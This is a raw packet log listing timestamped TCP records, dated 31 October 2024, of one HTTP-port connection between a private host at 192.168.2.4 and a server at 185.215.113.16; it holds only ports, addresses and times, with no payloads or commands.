Oct 31, 2024 04:16:17.195915937 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.195919037 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.195929050 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.195940971 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.195961952 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.196054935 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.196072102 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.196086884 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.196105003 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.196130037 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.196130037 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.196162939 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.196199894 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.196214914 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.196229935 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.196240902 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.196247101 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.196254015 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.196273088 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.196285963 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.196346998 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.196362972 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.196377039 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.196398973 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.196399927 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.196423054 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.196444988 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.196624994 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.196647882 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.196662903 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.196671009 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.196686983 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.196700096 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.196784019 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.196795940 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.196811914 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.196821928 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.196839094 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.196846962 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.196935892 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.196950912 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.196964979 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.196980953 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.196989059 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.196995974 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.197012901 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.197014093 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.197041988 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.197061062 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.197083950 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.197098017 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.197113037 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.197120905 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.197128057 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.197133064 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.197154045 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.197163105 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.197230101 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.197244883 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.197259903 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.197268963 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.197276115 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.197278976 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.197298050 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.197299957 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.197328091 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.197348118 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.197365999 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.197380066 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.197402954 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.197418928 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.197560072 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.197575092 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.197590113 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.197603941 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.197613001 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.197628021 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.197637081 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.197643995 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.197662115 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.197689056 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.197698116 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.197714090 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.197731018 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.197746992 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.197753906 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.197762966 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.197779894 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.197808027 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.197843075 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.197859049 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.197873116 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.197894096 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.197897911 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.197897911 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.197910070 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.197916031 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.197935104 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.197941065 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.197964907 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.197967052 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.197992086 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.198012114 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.198164940 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.198180914 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.198193073 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.198210001 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.198223114 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.198225021 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.198240995 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.198250055 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.198261023 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.198266029 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.198282957 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.198295116 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.198313951 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.198316097 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.198328018 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.198329926 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.198345900 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.198354959 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.198365927 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.198369980 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.198385954 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.198393106 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.198401928 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.198412895 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.198417902 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.198422909 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.198432922 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.198447943 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.198457956 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.198468924 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.198472023 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.198479891 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.198488951 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.198499918 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.198506117 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.198514938 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.198522091 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.198535919 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.198540926 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.198556900 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.198564053 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.198565006 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.198590994 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.198595047 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.198602915 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.198632002 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.198784113 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.198798895 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.198812962 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.198827982 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.198833942 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.198843002 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.198843956 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.198858976 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.198858976 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.198888063 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.198913097 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.198934078 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.198947906 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.198970079 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.198991060 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.199100971 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.199115992 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.199131012 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.199146986 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.199156046 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.199162006 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.199182034 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.199184895 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.199187994 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.199204922 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.199206114 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.199220896 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.199239016 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.199239016 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.199248075 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.199282885 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.199414968 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.199429989 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.199445963 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.199460030 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.199472904 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.199477911 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.199485064 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.199493885 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.199510098 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.199517012 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.199522972 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.199542999 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.199562073 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.199573040 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.199578047 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.199594975 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.199599981 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.199609995 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.199625969 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.199636936 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.199657917 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.199702978 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.199718952 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.199729919 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.199744940 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.199757099 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.199759007 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.199774981 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.199786901 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.199790955 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.199799061 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.199839115 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.199847937 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.199863911 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.199877977 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.199892998 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.199906111 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.199906111 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.199917078 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.199947119 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.199986935 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.200002909 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.200016975 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.200027943 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.200054884 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.200344086 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.200365067 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.200381994 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.200397015 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.200406075 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.200412989 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.200417042 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.200450897 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.200508118 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.200512886 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.200517893 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.200534105 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.200546026 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.200551033 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.200558901 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.200565100 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.200589895 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.200615883 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.254564047 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.254626036 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.254683018 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.254705906 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.254724979 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.254757881 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.254797935 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.349677086 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.349824905 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.349839926 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.349858046 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.349910975 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.349927902 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.350126982 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.350142956 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.350157976 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.350172997 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.350186110 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.350194931 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.350198030 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.350234985 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.350272894 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.350289106 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.350302935 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.350317955 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.350328922 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.350342989 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.350372076 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.350981951 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.350996971 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.351011992 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.351033926 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.351048946 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.351120949 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.351135969 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.351151943 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.351166010 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.351175070 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.351181030 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.351186037 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.351190090 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.351218939 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.351244926 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.351274014 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.351299047 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.351319075 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.351336002 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.351341009 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.351351976 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.351371050 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.351387978 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.351432085 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.351449013 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.351463079 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.351470947 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.351478100 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.351492882 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.351497889 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.351509094 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.351521969 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.351524115 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.351541996 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.351548910 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.351560116 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.351571083 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.351574898 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.351591110 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.351602077 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.351608038 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.351624012 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.351624966 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.351639986 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.351650953 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.351679087 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.351728916 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.351744890 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.351763964 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.351785898 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.351798058 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.351807117 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.351830006 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.351844072 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.351845980 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.351861954 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.351866007 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.351875067 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.351895094 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.351923943 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.351943970 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.351952076 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.351962090 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.351974010 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.351994991 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.352077961 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.352093935 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.352109909 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.352135897 CET	49849	80	192.168.2.4	185.215.113.16
